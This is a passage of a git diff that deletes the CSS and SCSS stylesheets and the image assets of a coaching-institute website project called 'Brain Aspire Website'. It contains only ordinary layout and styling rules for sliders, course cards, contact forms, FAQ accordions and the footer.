.slide { - text-align: center; -} - -.teachers .slide:hover .image img { - background: #18171c; -} - -.teachers .slide:hover .image .share { - bottom: 0; -} - -.teachers .slide .image { - position: relative; - overflow: hidden; -} - -.teachers .slide .image img { - background: #f0fdfa; - width: 100%; -} - -.teachers .slide .image .share { - position: absolute; - bottom: -10rem; - left: 0; - right: 0; - background: rgba(0, 0, 0, 0.8); - padding: 2rem; -} - -.teachers .slide .image .share a { - font-size: 3rem; - margin: 0 1rem; - color: #fff; -} - -.teachers .slide .image .share a:hover { - color: #f58823; -} - -.teachers .slide .content { - display: -webkit-box; - display: -ms-flexbox; - display: flex; - padding-top: 1rem; - -webkit-box-align: center; - -ms-flex-align: center; - align-items: center; - -webkit-box-pack: justify; - -ms-flex-pack: justify; - justify-content: space-between; -} - -.teachers .slide .content h3 { - font-size: 2rem; - text-transform: capitalize; - color: #444; -} - -.teachers .slide .content span { - font-size: 1.5rem; - line-height: 2; - color: #777; -} - -.reviews .slide { - text-align: center; -} - -.reviews .slide p { - font-size: 1.5rem; - line-height: 2; - color: #777; - position: relative; - background: #f0fdfa; - border: 0.1rem solid #4edfe4; - margin-bottom: 3rem; - padding: 2rem; -} - -.reviews .slide p::before { - content: ''; - position: absolute; - bottom: -1.2rem; - left: 50%; - -webkit-transform: translateX(-50%) rotate(45deg); - transform: translateX(-50%) rotate(45deg); - background: #f0fdfa; - border-bottom: 0.1rem solid #0eb582; - border-right: 0.1rem solid #0eb582; - height: 2rem; - width: 2rem; -} - -.reviews .slide img { - height: 7rem; - width: 7rem; - border-radius: 50%; -} - -.reviews .slide h3 { - font-size: 2.2rem; - text-transform: capitalize; - color: #444; - padding: .5rem 0; -} - -.reviews .slide .stars { - font-size: 1.2rem; - color: #270eb5; -} - -.courses .box-container { - display: -ms-grid; - display: grid; - -ms-grid-columns: (minmax(30rem, 1fr))[auto-fit]; - grid-template-columns: repeat(auto-fit, minmax(30rem, 1fr)); - gap: 2rem; -} - -.courses .box-container .box:hover .image img { - -webkit-transform: scale(1.1); - transform: scale(1.1); -} - -.courses .box-container .box.hide { - display: none; -} - -.courses .box-container .box .image { - height: 25rem; - overflow: hidden; - position: relative; -} - -.courses .box-container .box .image img { - height: 100%; - width: 100%; - -o-object-fit: cover; - object-fit: cover; -} - -.courses .box-container .box .image h3 { - font-size: 1.5rem; - text-transform: capitalize; - color: #444; - position: absolute; - top: 1rem; - left: 1rem; - padding: .5rem 1.5rem; - background: #fff; -} - -.courses .box-container .box .content { - padding: 2rem; - text-align: center; - border: 0.1rem solid #0eb582; -} - -.courses .box-container .box .content h3 { - font-size: 2rem; - text-transform: capitalize; - color: #444; -} - -.courses .box-container .box .content p { - padding: 1rem 0; - font-size: 1.6rem; - line-height: 2; - color: #777; -} - -.courses .box-container .box .content .icons { - display: -webkit-box; - display: -ms-flexbox; - display: flex; - -webkit-box-align: center; - -ms-flex-align: center; - align-items: center; - -webkit-box-pack: justify; - -ms-flex-pack: justify; - justify-content: space-between; - margin-top: 2rem; - padding-top: 2rem; - border-top: 0.1rem solid #0b0c0b; -} - -.courses .box-container .box .content .icons span { - font-size: 1.5rem; - text-transform: capitalize; - color: #444; -} - -.courses .box-container .box .content .icons span i { - color: #0eb582; - padding-right: .5rem; -} - -.courses .load-more { - margin-top: 2rem; - text-align: center; -} - -.contact .icons-container { - margin-bottom: 3rem; - display: -ms-grid; - display: grid; - -ms-grid-columns: (minmax(25rem, 1fr))[auto-fit]; - grid-template-columns: repeat(auto-fit, minmax(25rem, 1fr)); - gap: 2rem; -} - -.contact .icons-container .icons { - text-align: center; - padding: 3rem 2rem; - border: 0.1rem solid #9cb50e; - background: #f0fdfa; -} - -.contact .icons-container .icons i { - height: 6rem; - width: 6rem; - line-height: 6rem; - font-size: 2rem; - border-radius: 50%; - margin-bottom: .5rem; - color: #fff; - background: #b54e0e; -} - -.contact .icons-container .icons h3 { - font-size: 2rem; - text-transform: capitalize; - color: #444; - padding: .5rem 0; -} - -.contact .icons-container .icons p { - font-size: 1.5rem; - line-height: 2; - color: #777; -} - -.contact .row { - display: -webkit-box; - display: -ms-flexbox; - display: flex; - -webkit-box-align: center; - -ms-flex-align: center; - align-items: center; - -ms-flex-wrap: wrap; - flex-wrap: wrap; - gap: 2rem; -} - -.contact .row .image { - -webkit-box-flex: 1; - -ms-flex: 1 1 40rem; - flex: 1 1 40rem; -} - -.contact .row .image img { - width: 100%; -} - -.contact .row form { - -webkit-box-flex: 1; - -ms-flex: 1 1 40rem; - flex: 1 1 40rem; - border: 0.1rem solid #350eb5; - padding: 2rem; -} - -.contact .row form h3 { - font-size: 2.5rem; - text-transform: capitalize; - color: #444; - padding-bottom: 1rem; -} - -.contact .row form .box { - width: 100%; - padding: 1.2rem 1.4rem; - border: 0.1rem solid #320eb5; - font-size: 1.6rem; - margin: .7rem 0; -} - -.contact .row form .box:focus { - background: #b5540e; - color: #fff; -} - -.contact .row form .box:focus::-webkit-input-placeholder { - color: #eee; -} - -.contact .row form .box:focus:-ms-input-placeholder { - color: #eee; -} - -.contact .row form .box:focus::-ms-input-placeholder { - color: #eee; -} - -.contact .row form .box:focus::placeholder { - color: #eee; -} - -.contact .row form textarea { - height: 15rem; - resize: none; -} - -.faq .accordion-container { - display: -webkit-box; - display: -ms-flexbox; - display: flex; - -ms-flex-wrap: wrap; - flex-wrap: wrap; - gap: 2rem; - -webkit-box-align: start; - -ms-flex-align: start; - align-items: flex-start; -} - -.faq .accordion-container .accordion { - -webkit-box-flex: 1; - -ms-flex: 1 1 40rem; - flex: 1 1 40rem; - border: 0.1rem solid #0eb582; -} - -.faq .accordion-container .accordion.active .accordion-heading { - background: #b50e9f; -} - -.faq .accordion-container .accordion.active .accordion-heading h3 { - color: rgb(255, 255, 255); -} - -.faq .accordion-container .accordion.active .accordion-heading i { - color: #fff; - -webkit-transform: rotate(180deg); - transform: rotate(180deg); -} - -.faq .accordion-container .accordion.active .accordion-content { - display: block; -} - -.faq .accordion-container .accordion .accordion-heading { - display: -webkit-box; - display: -ms-flexbox; - display: flex; - -webkit-box-align: center; - -ms-flex-align: center; - align-items: center; - -webkit-box-pack: justify; - -ms-flex-pack: justify; - justify-content: space-between; - gap: 1rem; - cursor: pointer; - padding: 1.5rem; -} - -.faq .accordion-container .accordion .accordion-heading h3 { - font-size: 2rem; - text-transform: capitalize; - color: #444; -} - -.faq .accordion-container .accordion .accordion-heading i { - font-size: 2rem; - color: #0eb582; -} - -.faq .accordion-container .accordion .accordion-content { - padding: 1.5rem; - font-size: 1.5rem; - line-height: 2; - color: #777; - border-top: 0.1rem solid #0eb582; - display: none; -} - -.logo-container { - text-align: center; -} - -.logo-container img { - height: 10rem; - pointer-events: none; -} - -.footer { - background: #f1e8eb; -} - -.footer .box-container { - display: -ms-grid; - display: grid; - -ms-grid-columns: (minmax(25rem, 1fr))[auto-fit]; - grid-template-columns: repeat(auto-fit, minmax(25rem, 1fr)); - gap: 2rem; -} - -.footer .box-container .box h3 { - font-size: 2.2rem; - text-transform: capitalize; - color: #444; - padding: 1rem 0; -} - -.footer .box-container .box h3 i { - color: #0eb582; -} - -.footer .box-container .box .share { - margin-top: 1rem; -} - -.footer .box-container .box .share a { - height: 4.5rem; - width: 4.5rem; - line-height: 4.5rem; - font-size: 1.7rem; - background-color: #0eb582; - color: #fff; - margin-right: .3rem; - text-align: center; -} - -.footer .box-container .box .share a:hover { - background-color: #444; -} - -.footer .box-container .box .link { - font-size: 1.7rem; - line-height: 2; - color: #777; - padding: .5rem 0; - display: block; -} - -.footer .box-container .box .link:hover { - color: #0eb582; - text-decoration: underline; -} - -.footer .box-container .box p { - font-size: 1.5rem; - line-height: 2; - color: #777; - padding: 1rem 0; -} - -.footer .box-container .box .email { - width: 100%; - padding: 1.2rem 1.4rem; - font-size: 1.6rem; - border: 0.1rem solid #0eb582; - margin-bottom: 1rem; -} - -.footer .credit { - text-align: center; - margin-top: 3rem; - padding-top: 3rem; - font-size: 2rem; - text-transform: capitalize; - color: #444; - border-top: 0.1rem solid #0eb582; -} - -.footer .credit span { - color: #0eb582; -} - -@media (max-width: 1200px) { - .header { - padding: 2rem 5%; - } - section { - padding: 3rem 5%; - } -} - -@media (max-width: 991px) { - html { - font-size: 55%; - } - .header { - padding: 2rem; - } - section { - padding: 3rem 2rem; - } -} - -@media (max-width: 768px) { - .header #menu-btn { - display: inline-block; - } - .header .navbar { - position: fixed; - top: 0; - right: -105%; - width: 30rem; - background: #fff; - height: 100%; - display: -webkit-box; - display: -ms-flexbox; - display: flex; - -webkit-box-orient: vertical; - -webkit-box-direction: normal; - -ms-flex-flow: column; - flex-flow: column; - -webkit-box-pack: center; - -ms-flex-pack: center; - justify-content: center; - z-index: 1200; - } - .header .navbar #close-navbar { - display: block; - } - .header .navbar.active { - -webkit-box-shadow: 0 0 0 100vw rgba(0, 0, 0, 0.8); - box-shadow: 0 0 0 100vw rgba(0, 0, 0, 0.8); - right: 0; - } - .header .navbar a { - display: block; - margin: 1rem 0; - text-align: center; - font-size: 3rem; - } - .home .slide .content h3 { - font-size: 3rem; - } -} - -@media (max-width: 450px) { - html { - font-size: 50%; - } - .heading { - font-size: 3rem; - } - .about .content .about-title { - font-size: 4rem; - } -} -/*# sourceMappingURL=style.css.map */ \ No newline at end of file diff --git a/Add Code Here/Websites/Brain Aspire Website/css/style.scss b/Add Code Here/Websites/Brain Aspire Website/css/style.scss deleted file mode 100644 index 75d3e2c3379..00000000000 --- a/Add Code Here/Websites/Brain Aspire Website/css/style.scss +++ /dev/null @@ -1,949 +0,0 @@ -@import url('https://fonts.googleapis.com/css2?family=Nunito:wght@200;300;400;500;600&display=swap'); - -*{ - font-family: 'Nunito', sans-serif; - margin:0; padding:0; - box-sizing: border-box; - outline: none; border:none; - text-decoration: none; - transition: all .2s linear; -} - -img{ - user-select: none; -} - -$green:#ee761b; -$light-green:#f0fdfa; -$light-color:#777; -$light-white:#eee; -$black:#444; -$white:#fff; -$border:.1rem solid $green; -$box-shadow:0 .5rem 1rem rgba(0,0,0,.1); - -@mixin grid($val) { - display: grid; - grid-template-columns: repeat(auto-fit, minmax($val, 1fr)); - gap:2rem; -} - -@mixin titleText($titleSize) { - font-size: $titleSize; - text-transform: capitalize; - color:$black; -} - -@mixin graphText($graphSize) { - font-size: $graphSize; - line-height: 2; - color:$light-color; -} - -html{ - font-size: 62.5%; - overflow-x: hidden; - - &::-webkit-scrollbar{ - width:1rem; - } - - &::-webkit-scrollbar-track{ - background: transparent; - } - - &::-webkit-scrollbar-thumb{ - background: $green; - } -} - -section{ - padding:5rem 10%; -} - -.heading-link{ - text-align: center; - background: url(heading-bg.jpeg) no-repeat; - background-size: cover; - background-position: center; - - h3{ - @include titleText(4rem); - } - - p{ - @include graphText(2rem); - - a{ - color:$green; - - &:hover{ - text-decoration: underline; - } - } - } -} - -.heading{ - text-align: center; - margin-bottom: 3rem; - @include titleText(3.5rem); -} - -.btn{ - display: inline-block; - margin-top: 1rem; - padding:1rem 3rem; - font-size: 1.8rem; - border:$border; - background: $light-green; - color:$green; - cursor: pointer; - text-transform: capitalize; - - &:hover{ - background: $green; - color:$white; - } -} - -.header{ - position: sticky; - top:0; left:0; right:0; - background: $white; - box-shadow: $box-shadow; - padding:2rem 10%; - display: flex; - align-items: center; - z-index: 1000; - - .logo{ - margin-right: auto; - @include titleText(2.5rem); - font-weight: bolder; - - i{ - color:$green; - } - } - - .navbar{ - position: relative; - - #close-navbar{ - position: absolute; - top:1.5rem; right:2rem; - font-size: 4rem; - cursor: pointer; - color:$black; - display: none; - - &:hover{ - transform: rotate(90deg); - } - } - - a{ - margin-right: 2rem; - @include titleText(2rem); - - &:hover{ - color:$green; - } - } - } - - .icons div{ - cursor: pointer; - font-size: 2.5rem; - color:$black; - margin-left: 1.5rem; - - &:hover{ - color:$green; - } - } - - #menu-btn{ - display: none; - } -} - -.account-form{ - position: fixed; - top:0; right:-105%; - width: 35rem; - background: $white; - display: flex; - flex-flow: column; - gap:2rem; - justify-content: center; - height: 100%; - z-index: 1200; - padding:2rem; - text-align: center; - - &.active{ - right: 0; - box-shadow: 0 0 0 100vw rgba(0,0,0,.8); - } - - #close-form{ - position: absolute; - top:1.5rem; right:2.5rem; - font-size: 4rem; - cursor: pointer; - color:$black; - - &:hover{ - transform: rotate(90deg); - } - } - - form{ - border:$border; - padding:2rem; - display: none; - - &.active{ - display: block; - } - - h3{ - @include titleText(2.5rem); - padding-bottom: .5rem; - text-transform: uppercase; - } - - .box{ - width: 100%; - padding:1.2rem 1.4rem; - border:$border; - font-size: 1.6rem; - margin:.7rem 0; - } - - .flex{ - padding:1rem 0; - display: flex; - align-items: center; - gap:.5rem; - - label{ - font-size: 1.5rem; - color:$light-color; - cursor: pointer; - } - - a{ - font-size: 1.5rem; - color:$light-color; - margin-left: auto; - - &:hover{ - text-decoration: underline; - color:$green; - } - } - } - - .btn{ - width: 100%; - } - } - - .buttons .btn{ - margin:0 .5rem; - - &.active{ - background: $green; - color:$white; - } - } -} - -.home{ - padding:0; - - .slide{ - display: flex; - align-items: center; - height: 60rem; - background-size: cover !important; - background-position: center !important; - - .content{ - width: 50rem; - - h3{ - @include titleText(5rem); - color:$white; - } - - p{ - @include graphText(1.6rem); - color:$light-white; - padding:1rem 0; - } - } - } -} - -.swiper-pagination-bullet-active{ - background: $green; -} - -.subjects{ - - .box-container{ - @include grid(16rem); - - .box{ - padding:3rem 2rem; - text-align: center; - border:$border; - background: $light-green; - cursor: pointer; - - &:hover{ - background: $green; - - h3{ - color:$white; - } - - p{ - color:$light-white; - } - } - - img{ - height: 10rem; - margin-bottom: .7rem; - } - - h3{ - @include titleText(1.7rem); - padding:.5rem 0; - } - - p{ - @include graphText(1.5rem); - } - } - } -} - -.home-courses{ - - .slide{ - text-align: center; - position: relative; - background: $light-green; - overflow:hidden; - - &:hover .content{ - bottom: 0; - } - - .image{ - padding:2rem; - - img{ - width: 100%; - margin-bottom: 1.5rem; - } - - h3{ - @include titleText(2rem); - } - } - - .content{ - position: absolute; - bottom:-100%; right:0; left:0; - background: $green; - padding:2rem 3rem; - - h3{ - @include titleText(2rem); - color:$white; - } - - p{ - padding:1rem 0; - @include graphText(1.5rem); - color:$light-white; - } - - .btn:hover{ - background: $black; - } - } - } -} - -.about{ - display: flex; - align-items: center; - flex-wrap: wrap; - gap:3rem; - - .image{ - flex:1 1 40rem; - - img{ - width: 100%; - } - } - - .content{ - flex:1 1 40rem; - - .about-title{ - @include titleText(3rem); - } - - p{ - @include graphText(1.5rem); - padding:1rem 0; - } - - .icons-container{ - margin-top: 1rem; - @include grid(16rem); - - .icons{ - text-align: center; - border:$border; - background: $light-green; - padding:3rem 2rem; - - img{ - height: 5rem; - margin-bottom: .5rem; - } - - h3{ - padding:.5rem 0; - @include titleText(3rem); - } - - span{ - @include graphText(1.5rem); - } - } - } - } -} - -.teachers{ - - .slide{ - text-align: center; - - &:hover{ - - .image{ - img{ - background: $green; - } - - .share{ - bottom: 0; - } - } - } - - .image{ - position: relative; - overflow: hidden; - - img{ - background: $light-green; - width: 100%; - } - - .share{ - position: absolute; - bottom: -10rem; left:0; right:0; - background: rgba(0,0,0,.8); - padding:2rem; - - a{ - font-size: 3rem; - margin:0 1rem; - color:$white; - - &:hover{ - color:$green; - } - } - } - } - - .content{ - display: flex; - padding-top: 1rem; - align-items: center; - justify-content: space-between; - - h3{ - @include titleText(2rem); - } - - span{ - @include graphText(1.5rem); - } - } - } -} - -.reviews{ - - .slide{ - text-align: center; - - p{ - @include graphText(1.5rem); - position: relative; - background: $light-green; - border:$border; - margin-bottom: 3rem; - padding:2rem; - - &::before{ - content: ''; - position: absolute; - bottom:-1.2rem; left:50%; - transform: translateX(-50%) rotate(45deg); - background: $light-green; - border-bottom: $border; - border-right: $border; - height: 2rem; - width: 2rem; - } - } - - img{ - height: 7rem; - width: 7rem; - border-radius: 50%; - } - - h3{ - @include titleText(2.2rem); - padding:.5rem 0; - } - - .stars{ - font-size: 1.2rem; - color:$green; - } - } -} - -.courses{ - - .box-container{ - @include grid(30rem); - - .box{ - - &:hover .image img{ - transform: scale(1.1); - } - - &.hide{ - display: none; - } - - .image{ - height: 25rem; - overflow: hidden; - position: relative; - - img{ - height: 100%; - width: 100%; - object-fit: cover; - } - - h3{ - @include titleText(1.5rem); - position: absolute; - top:1rem; left:1rem; - padding:.5rem 1.5rem; - background: $white; - - } - } - - .content{ - padding:2rem; - text-align: center; - border:$border; - - h3{ - @include titleText(2rem); - } - - p{ - padding:1rem 0; - @include graphText(1.6rem); - } - - .icons{ - display: flex; - align-items: center; - justify-content: space-between; - margin-top: 2rem; - padding-top: 2rem; - border-top: $border; - - span{ - @include titleText(1.5rem); - - i{ - color:$green; - padding-right: .5rem; - } - } - } - } - } - } - - .load-more{ - margin-top: 2rem; - text-align: center; - } -} - -.contact{ - - .icons-container{ - margin-bottom: 3rem; - @include grid(25rem); - - .icons{ - text-align: center; - padding:3rem 2rem; - border:$border; - background: $light-green; - - i{ - height: 6rem; - width: 6rem; - line-height: 6rem; - font-size: 2rem; - border-radius: 50%; - margin-bottom: .5rem; - color:$white; - background: $green; - } - - h3{ - @include titleText(2rem); - padding:.5rem 0; - } - - p{ - @include graphText(1.5rem); - } - } - } - - .row{ - display: flex; - align-items: center; - flex-wrap: wrap; - gap:2rem; - - .image{ - flex:1 1 40rem; - - img{ - width: 100%; - } - } - - form{ - flex:1 1 40rem; - border:$border; - padding:2rem; - - h3{ - @include titleText(2.5rem); - padding-bottom: 1rem; - } - - .box{ - width: 100%; - padding:1.2rem 1.4rem; - border:$border; - font-size: 1.6rem; - margin:.7rem 0; - - &:focus{ - background: $green; - color:$white; - - &::placeholder{ - color:$light-white; - } - } - } - - textarea{ - height: 15rem; - resize: none; - } - } - } -} - -.faq{ - - .accordion-container{ - display: flex; - flex-wrap: wrap; - gap:2rem; - align-items: flex-start; - - .accordion{ - flex:1 1 40rem; - border:$border; - - &.active{ - - .accordion-heading{ - background: $green; - - h3{ - color:$white; - } - - i{ - color:$white; - transform: rotate(180deg); - } - } - - .accordion-content{ - display: block; - } - } - - .accordion-heading{ - display: flex; - align-items: center; - justify-content: space-between; - gap:1rem; - cursor: pointer; - padding:1.5rem; - - h3{ - @include titleText(2rem); - } - - i{ - font-size: 2rem; - color:$green; - } - } - - .accordion-content{ - padding:1.5rem; - @include graphText(1.5rem); - border-top: $border; - display: none; - } - } - } -} - -.logo-container{ - text-align: center; - - img{ - height: 10rem; - pointer-events: none; - } -} - - - - - - - - -.footer{ - background: $light-green; - padding-bottom: 10rem; - - .box-container{ - @include grid(25rem); - - .box{ - - h3{ - @include titleText(2.2rem); - padding:1rem 0; - - i{ - color:$green; - } - } - - .share{ - margin-top: 1rem; - - a{ - height: 4.5rem; - width: 4.5rem; - line-height: 4.5rem; - font-size: 1.7rem; - background-color: $green; - color:$white; - margin-right: .3rem; - text-align: center; - - &:hover{ - background-color: $black; - } - } - } - - .link{ - @include graphText(1.7rem); - padding:.5rem 0; - display: block; - - &:hover{ - color:$green; - text-decoration: underline; - } - } - - p{ - @include graphText(1.5rem); - padding:1rem 0; - } - - .email{ - width: 100%; - padding:1.2rem 1.4rem; - font-size: 1.6rem; - border:$border; - margin-bottom: 1rem; - } - } - } - - .credit{ - text-align: center; - margin-top: 3rem; - padding-top: 3rem; - @include titleText(2rem); - border-top: $border; - - span{ - color:$green; - } - } -} - - - - - -// media queries - -@media (max-width:1200px){ - - .header{ - padding:2rem 5%; - } - - section{ - padding:3rem 5%; - } - -} - -@media (max-width:991px){ - - html{ - font-size: 55%; - } - - .header{ - padding:2rem; - } - - section{ - padding:3rem 2rem; - } - -} - -@media (max-width:768px){ - - .header{ - - #menu-btn{ - display: inline-block; - } - - .navbar{ - position: fixed; - top:0; right:-105%; - width: 30rem; - background: $white; - height: 100%; - display: flex; - flex-flow: column; - justify-content: center; - z-index: 1200; - - #close-navbar{ - display: block; - } - - &.active{ - box-shadow: 0 0 0 100vw rgba(0,0,0,.8); - right: 0; - } - - a{ - display: block; - margin:1rem 0; - text-align: center; - font-size: 3rem; - } - } - } - - .home .slide .content h3{ - font-size: 3rem; - } - -} - -@media (max-width:450px){ - - html{ - font-size: 50%; - } - - .heading{ - font-size: 3rem; - } - - .about .content .about-title{ - font-size: 4rem; - } - -} \ No newline at end of file diff --git a/Add Code Here/Websites/Brain Aspire Website/images/about-icon-1.png b/Add Code Here/Websites/Brain Aspire Website/images/about-icon-1.png deleted file mode 100644 index a1a3a039cc5..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/about-icon-1.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/about-icon-2.png b/Add Code Here/Websites/Brain Aspire Website/images/about-icon-2.png deleted file mode 100644 index 019cd8504b0..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/about-icon-2.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/about-icon-3.png b/Add Code Here/Websites/Brain Aspire Website/images/about-icon-3.png deleted file mode 100644 index 3f3e6540b13..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/about-icon-3.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/about-img.jpg b/Add Code Here/Websites/Brain Aspire Website/images/about-img.jpg deleted file mode 100644 index f66c6847985..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/about-img.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/android1.png b/Add Code Here/Websites/Brain Aspire Website/images/android1.png deleted file mode 100644 index 09ab0919716..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/android1.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/contact-img.png b/Add Code Here/Websites/Brain Aspire Website/images/contact-img.png deleted file mode 100644 index 7f2a361a470..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/contact-img.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/course-1-0.png b/Add Code Here/Websites/Brain Aspire Website/images/course-1-0.png deleted file mode 100644 index 2fb34add5e3..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/course-1-0.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/course-1-1.png b/Add Code Here/Websites/Brain Aspire Website/images/course-1-1.png deleted file mode 100644 index 009af0dd383..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/course-1-1.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/course-1-2.png b/Add Code Here/Websites/Brain Aspire Website/images/course-1-2.png deleted file mode 100644 index 964385cf160..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/course-1-2.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/course-1-3.png b/Add Code Here/Websites/Brain Aspire Website/images/course-1-3.png deleted file mode 100644 index 83ff384b857..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/course-1-3.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/course-1-4.png b/Add Code Here/Websites/Brain Aspire Website/images/course-1-4.png deleted file mode 100644 index 29cb149dcc6..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/course-1-4.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/course-1-5.png b/Add Code Here/Websites/Brain Aspire Website/images/course-1-5.png deleted file mode 100644 index 0e2400d667f..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/course-1-5.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/course-1-6.png b/Add Code Here/Websites/Brain Aspire Website/images/course-1-6.png deleted file mode 100644 index a32858077cd..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/course-1-6.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/course-1-s.png b/Add Code Here/Websites/Brain Aspire Website/images/course-1-s.png deleted file mode 100644 index 4ade0d0641e..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/course-1-s.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/course-2-1.jpg b/Add Code Here/Websites/Brain Aspire Website/images/course-2-1.jpg deleted file mode 100644 index 698e6557caa..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/course-2-1.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/course-2-2.jpg b/Add Code Here/Websites/Brain Aspire Website/images/course-2-2.jpg deleted file mode 100644 index 99427445a4c..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/course-2-2.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/course-2-3.jpg b/Add Code Here/Websites/Brain Aspire Website/images/course-2-3.jpg deleted file mode 100644 index 3386b5ee040..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/course-2-3.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/course-2-4.jpg b/Add Code Here/Websites/Brain Aspire Website/images/course-2-4.jpg deleted file mode 100644 index 90534390dce..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/course-2-4.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/course-2-5.jpg b/Add Code Here/Websites/Brain Aspire Website/images/course-2-5.jpg deleted file mode 100644 index e162d09f0db..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/course-2-5.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/course-2-6.jpg b/Add Code Here/Websites/Brain Aspire Website/images/course-2-6.jpg deleted file mode 100644 index 8240b66d992..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/course-2-6.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/course-2-7.jpg b/Add Code Here/Websites/Brain Aspire Website/images/course-2-7.jpg deleted file mode 100644 index 63d3b94f7c0..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/course-2-7.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/course-2-8.jpg b/Add Code Here/Websites/Brain Aspire Website/images/course-2-8.jpg deleted file mode 100644 index d10f2ea2c7c..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/course-2-8.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/course-2-9.jpg b/Add Code Here/Websites/Brain Aspire Website/images/course-2-9.jpg deleted file mode 100644 index d03b4d56b55..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/course-2-9.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/heading-bg.jpg b/Add Code Here/Websites/Brain Aspire Website/images/heading-bg.jpg deleted file mode 100644 index caeaa118971..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/heading-bg.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/home-slide-1.jpg b/Add Code Here/Websites/Brain Aspire Website/images/home-slide-1.jpg deleted file mode 100644 index 962f4265b7e..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/home-slide-1.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/home-slide-2.jpg b/Add Code Here/Websites/Brain Aspire Website/images/home-slide-2.jpg deleted file mode 100644 index 678a268a07b..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/home-slide-2.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/home-slide-3.jpg b/Add Code Here/Websites/Brain Aspire Website/images/home-slide-3.jpg deleted file mode 100644 index 77a99edf0c0..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/home-slide-3.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/home-slide-4.jpg b/Add Code Here/Websites/Brain Aspire Website/images/home-slide-4.jpg deleted file mode 100644 index 980f02bacbd..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/home-slide-4.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/home-slide-5.jpg b/Add Code Here/Websites/Brain Aspire Website/images/home-slide-5.jpg deleted file mode 100644 index ea88b0c9046..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/home-slide-5.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/home-slide-6.jpg b/Add Code Here/Websites/Brain Aspire Website/images/home-slide-6.jpg deleted file mode 100644 index ba3032797f7..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/home-slide-6.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/jee.jpg b/Add Code Here/Websites/Brain Aspire Website/images/jee.jpg deleted file mode 100644 index 92a75b7a340..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/jee.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/main.jpg b/Add Code Here/Websites/Brain Aspire Website/images/main.jpg deleted file mode 100644 index 580fb4dfb53..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/main.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/math1.png b/Add Code Here/Websites/Brain Aspire Website/images/math1.png deleted file mode 100644 index 3f2ad824dda..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/math1.png and /dev/null differ diff --git a/Add Code Here/Websites/Brain Aspire Website/images/neet.jpg b/Add Code Here/Websites/Brain Aspire Website/images/neet.jpg deleted file mode 100644 index 24dae07875c..00000000000 Binary files a/Add Code Here/Websites/Brain Aspire Website/images/neet.jpg and /dev/null differ 